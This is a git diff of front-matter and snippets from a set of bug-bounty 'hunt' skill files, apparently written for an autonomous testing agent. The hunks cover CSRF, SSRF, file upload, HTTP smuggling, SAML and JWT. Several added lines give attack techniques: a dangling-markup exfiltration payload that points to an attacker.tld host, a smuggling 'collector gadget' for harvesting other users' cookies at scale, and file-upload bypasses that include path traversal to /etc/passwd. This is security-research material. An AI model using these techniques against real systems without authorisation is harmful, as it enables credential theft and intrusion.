description: Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSRF-token bypass (GitHub Enterprise CVE-2022-23732 $10k), Origin-omission bypass (TikTok $2,500), OAuth-state null-byte (Streamlabs), WebSocket CSRF / CSWSH (Coda), default-SameSite email-change → ATO (YoYo Games $400), social-account-link CSRF (HackerOne), JSON-CSRF via text/plain on email-change (TikTok $500). Use when hunting modern CSRF — heavy emphasis on chain-to-ATO patterns.
sources: github, hackerone_public, bugcrowd_public, github_security_advisories
report_count: 15
report_count: 18
---
## Shortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-dom
description: "Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests from same-origin script), CSS Injection/Exfiltration (attribute selectors → token char-by-char via OOB), client-side template injection, dangerouslySetInnerHTML. Grounded in named public research: Gareth Heyes / PortSwigger DOM-clobbering + DOM-Invader, Michał Bentkowski DOMPurify clobbering bypasses, jQuery htmlPrefilter XSS (CVE-2020-11022 / CVE-2020-11023), d0nut CSS-exfil research. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction."
sources: portswigger_research, hackerone_public, github_security_advisories
report_count: 17
report_count: 14
---
# HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-file-upload
description: "Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php\0.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples."
sources: hackerone_public, cve_database, owasp, public_research
report_count: 0
report_count: 5
---
## 9. FILE UPLOAD
+3 -1
View File
@@ -2,7 +2,7 @@
name: hunt-forgot-password
description: "Hunt Forgot Password / Account Recovery Authentication Flaws — 5 distinct patterns: (1) username enumeration via different responses for valid vs invalid email, (2) reset token exposed directly in the API response body, (3) reset token not invalidated after use (replay), (4) password reset link works from a different IP/browser (no binding), (5) no rate limit on the reset request endpoint. These are the standalone recovery-flow broken-auth primitives — distinct from reset-email host-header poisoning (hunt-host-header) and the full ATO chain (hunt-ato owns password-reset as an ATO path; prove the primitive here, chain it there). Detection: trace the full forgot-password flow from request to token to use; check response diffs between valid/invalid emails; test token replay after consumption. Medium to High (enumeration=Medium, token-reuse=High, account-takeover=Critical when chained to known-email)."
sources: hackerone_public, public_research
report_count: 0
report_count: 6
---
## Autonomous Testing Priority
@@ -48,6 +48,8 @@ A reset token derived from timestamp, username, or sequential IDs can be brute-f
### 3. Token Not Bound to Session or IP
Most apps generate a token, email it, and accept it from any browser. A truly bound token should only work from the same IP or require the original session cookie. If neither is enforced → link forwarding = account takeover.
**Token leak via `Referer` / third-party resources.** When the token rides in the reset-page URL (`/reset?token=…`) and that page loads any cross-origin resource (analytics, ads, fonts, a CDN image), the full URL — token included — leaks to that third party in the `Referer` header. Check the reset page's outbound requests: if the token appears in any cross-origin `Referer`, it's harvestable without the victim's inbox. Same leak via a `<meta name=referrer>` misconfig or an outbound link the victim clicks from the reset page. Disclosed token-leak→ATO class: <https://hackerone.com/reports/173551>.
### 4. Reset Link Doesn't Expire
Common best practice: reset tokens expire within ~15–60 minutes (no hard RFC mandates the exact value; OWASP recommends a short, single-use lifetime). If a token from 24 hours ago still works → persistence risk for phishing attacks.
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-graphql
description: Hunting skill for graphql vulnerabilities. Built from 12 public bug bounty reports across IDOR via node() / GID, mutation IDOR including AI/LLM features, cross-tenant IDOR, SSRF via argument, batching-DoS, query-cost-bypass, SQLi via argument, broken-object-level-authz, auth-bypass via unscoped mutations, and PII exposure from missing field-level authz. Use when hunting graphql on any target.
sources: hackerone_public, github, gitlab_security
report_count: 12
report_count: 26
---
## Crown Jewel Targets
+3 -1
View File
@@ -2,7 +2,7 @@
name: hunt-html-injection
description: "Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss."
sources: hackerone_public, public_research
report_count: 0
report_count: 6
---
## What is HTML Injection
@@ -17,6 +17,8 @@ HTML Injection occurs when user input is inserted into a page's HTML without esc
- Credential harvesting via injected login forms
- Redirect via `<meta http-equiv="refresh">`
- Stepping stone to XSS (may be blocked by WAF on `<script>` but not `<img onerror>`)
- **Dangling-markup exfiltration** — even with `<script>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `<img src='//attacker.tld/log?html=` (no closing quote/`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `<` is reflected.
- **Email/notification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `<a>`/`<img>`/dangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: <https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>.
## Attack Surface
+5 -1
View File
@@ -2,7 +2,7 @@
name: hunt-http-smuggling
description: "Hunt HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE). Cause: front-end proxy and back-end server disagree on where one request ends and the next begins (Content-Length vs Transfer-Encoding header parsing inconsistency). CL.TE: front-end uses CL, back uses TE → smuggle by sending TE: chunked but with body that fits CL count. TE.CL: opposite. H2.CL: HTTP/2 downgrade, smuggle CL into HTTP/1.1 back-end. Detection tools: Burp HTTP Request Smuggler extension, smuggler.py, h2csmuggler. Confirm: time-delay technique (smuggled GET with 30s timeout) — if front-end returns slow on next victim request, smuggling works. Validate: cache poisoning chain (smuggle request that gets cached for victim), credential theft (smuggle X-Forwarded-For override that captures next user's cookies), bypass auth (smuggled internal-path request). Real paid examples from major CDN deployments. Use when hunting H1 paid programs running CDN+origin stacks, when targeting load balancer / WAF bypass."
sources: hackerone_public, cve_database, portswigger_research, public_research
report_count: 0
report_count: 12
---
## 17. HTTP REQUEST SMUGGLING
@@ -51,6 +51,7 @@ The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Mode
| **Citrix ADC / NetScaler (older firmware)** | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
| **Squid 3.x** | ✓ | — | — | — | Older deployments |
| **Apache Traffic Server (older)** | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
| **Apache mod_proxy_ajp → Tomcat** | — | — | — | — | Cross-protocol HTTP→AJP desync (CVE-2022-26377); smuggled request is opaque to the WAF and reaches internal AJP admin/status paths that lack the external auth controls |
| **Custom Python / Go proxies** | ✓ | ✓ | — | — | Frequently miss RFC enforcement |
### Operator fingerprint quick-check
@@ -69,6 +70,9 @@ H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the clie
Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, `h2csmuggler`, `smuggler.py`) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.
### Mass credential harvesting — the "collector gadget"
The highest-impact smuggling outcome needs no per-victim interaction. Instead of blindly poisoning the queue, smuggle a request aimed at a **back-end handler that echoes the full request** — a search endpoint that reflects headers, or a redirect that mirrors the request line. The next victim's headers (`Cookie`, `Authorization`, `X-Access-Token`) get attributed to your smuggled request, and the reflecting handler returns them **in a response you read**. Repeated on a busy keep-alive socket, this harvests live credentials from arbitrary users at scale — and it works even through a CDN (Akamai/Cloudflare) when the CDN↔origin hop desyncs. Chains to `hunt-ato`.
---
## Related Skills & Chains
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-idor
description: Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.
sources: github, hackerone_public
report_count: 26
report_count: 39
---
## Crown Jewel Targets
+1 -1
View File
@@ -1,7 +1,7 @@
---
name: hunt-jwt-crypto
description: "Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint."
report_count: 0
report_count: 6
sources: hackerone_public
---
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-lfi
description: "Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target."
sources: hackerone_public, synacktiv_research, portswigger_research
report_count: 31
report_count: 24
---
# HUNT-LFI — Local / Remote File Inclusion & Path Traversal
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-mfa-bypass
description: "Hunt MFA / 2FA bypass — 7 distinct patterns. (1) MFA not enforced on sensitive endpoints (password change, email change accept without MFA challenge), (2) MFA-step skip via direct navigation to post-login URL, (3) MFA-token replay (same code accepted twice), (4) brute-force the 6-digit OTP without rate limit (10^6 attempts at server speed), (5) race condition on OTP validation, (6) recovery-code dump via /api/me, (7) backup factor downgrade (SMS factor with no rate limit). Plus the chain: cookie theft + password oracle + no step-up = ATO without MFA challenge. Detection: trace auth flow in Burp, find every state transition, check if MFA is middleware-gated vs per-endpoint, check OTP entropy and rate limit on OTP-validate. Validate: attacker session reaching post-MFA state. Use when hunting auth bypass, MFA flows, chaining primitives toward ATO."
sources: hackerone_public, cve_database, nist_800_63b, public_research
report_count: 0
report_count: 5
---
## Autonomous Testing Priority
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-oauth
description: Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports. Use when hunting oauth on any target.
sources: github, hackerone_public, salt_labs, descope, detectify_labs, harel_research
report_count: 19
report_count: 22
---
## Crown Jewel Targets
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-race-condition
description: Hunting skill for race condition vulnerabilities. Built from 12 public bug bounty reports including modern HTTP/2 single-packet attack cases (James Kettle DEF CON 2023 "Smashing the State Machine"; RyotaK / Flatt Security 10,000-request first-sequence-sync expansion 2024). Covers coupon double-redemption, gift-card double-spend, MFA-OTP-validate race, account-create race, faucet/crypto token double-mint, email-activation race, vote/upvote inflation, password-reset token race, rate-limit bypass via concurrent requests. Use when hunting race conditions, TOCTOU bugs, MFA-bypass-via-timing.
sources: github, hackerone_public, portswigger_research, flatt_security
report_count: 12
report_count: 10
---
## Firing a race — two primitives (tooling-agnostic)
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-rce
description: Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.
sources: github, hackerone_public
report_count: 67
report_count: 87
---
## Autonomous Testing Priority
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-saml
description: "Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID ([email protected]<!--evil-->@attacker.com → some parsers see [email protected]), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation."
sources: cve_database, oasis_saml_spec, academic_research, public_research
report_count: 0
report_count: 6
---
## 20. SAML / SSO ATTACKS
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-source-leak
description: Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.
sources: hackerone_public, offensive_research
report_count: 31
report_count: 7
---
# HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-sqli
description: Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports including modern NoSQL injection (Rocket.Chat CVE-2021-22911 MongoDB $regex, Mongoose ORM CVE-2024-53900 $where bypass), modern ORM raw-fragment SQLi (Django CVE-2024-42005, Sequelize GHSA-wrh9-cjv3-2hpw), second-order SOQL injection (HackerOne Salesforce), time-based blind SQLi in GraphQL resolvers, and SQLi on OIDC-proxy backends. Use when hunting SQLi on any target. Dedicated NoSQL operator injection (MongoDB/CouchDB $where/$regex/$ne) is owned by hunt-nosqli — NoSQL appears here only as adjacent ORM/WAF context.
sources: github, hackerone_public, github_security_advisories, snyk_research, sonarsource_research
report_count: 12
report_count: 29
---
## Autonomous Testing Priority
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-ssrf
description: Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions MSRC), DNS rebinding SSRF (Concrete CMS, GitLab UrlBlocker), gopher-protocol-to-Redis-RCE (Yahoo Mail $15k), link-preview SSRF (Reddit Matrix $6k), and headless-browser PDF-generator SSRF chains. Use when hunting SSRF on any target — OOB Collaborator confirmation mandatory for blind cases.
sources: github, hackerone_public, portswigger_research, binarysecurity_research
report_count: 15
report_count: 34
---
## Crown Jewel Targets
+1 -1
View File
@@ -2,7 +2,7 @@
name: hunt-ssti
description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
sources: hackerone_public, cve_database, public_research
report_count: 0
report_count: 6
---
## Autonomous Testing Priority
+1 -1
View File
@@ -1,7 +1,7 @@
---
name: hunt-tls-network
description: "Hunt TLS/SSL and DNS misconfigurations — missing HSTS (downgrade attack), weak cipher suites, expired/invalid certificates, mTLS bypass, missing SPF/DKIM/DMARC (email spoofing), DNS Zone Transfer (AXFR), dangling CNAME subdomain takeover, CAA records. Most of these are Info/Low on their own — this skill is opinionated about which findings actually pay (spoofable DMARC with delivered-to-inbox proof, AXFR returning internal hosts, dangling-CNAME takeover) versus which get rejected as best-practice noise (missing CAA, missing HSTS with no MitM position). Use during recon to find infrastructure weaknesses, and to TRIAGE them honestly before reporting."
report_count: 0
report_count: 6
sources: portswigger_research, ssl_labs_research, hstspreload_org
---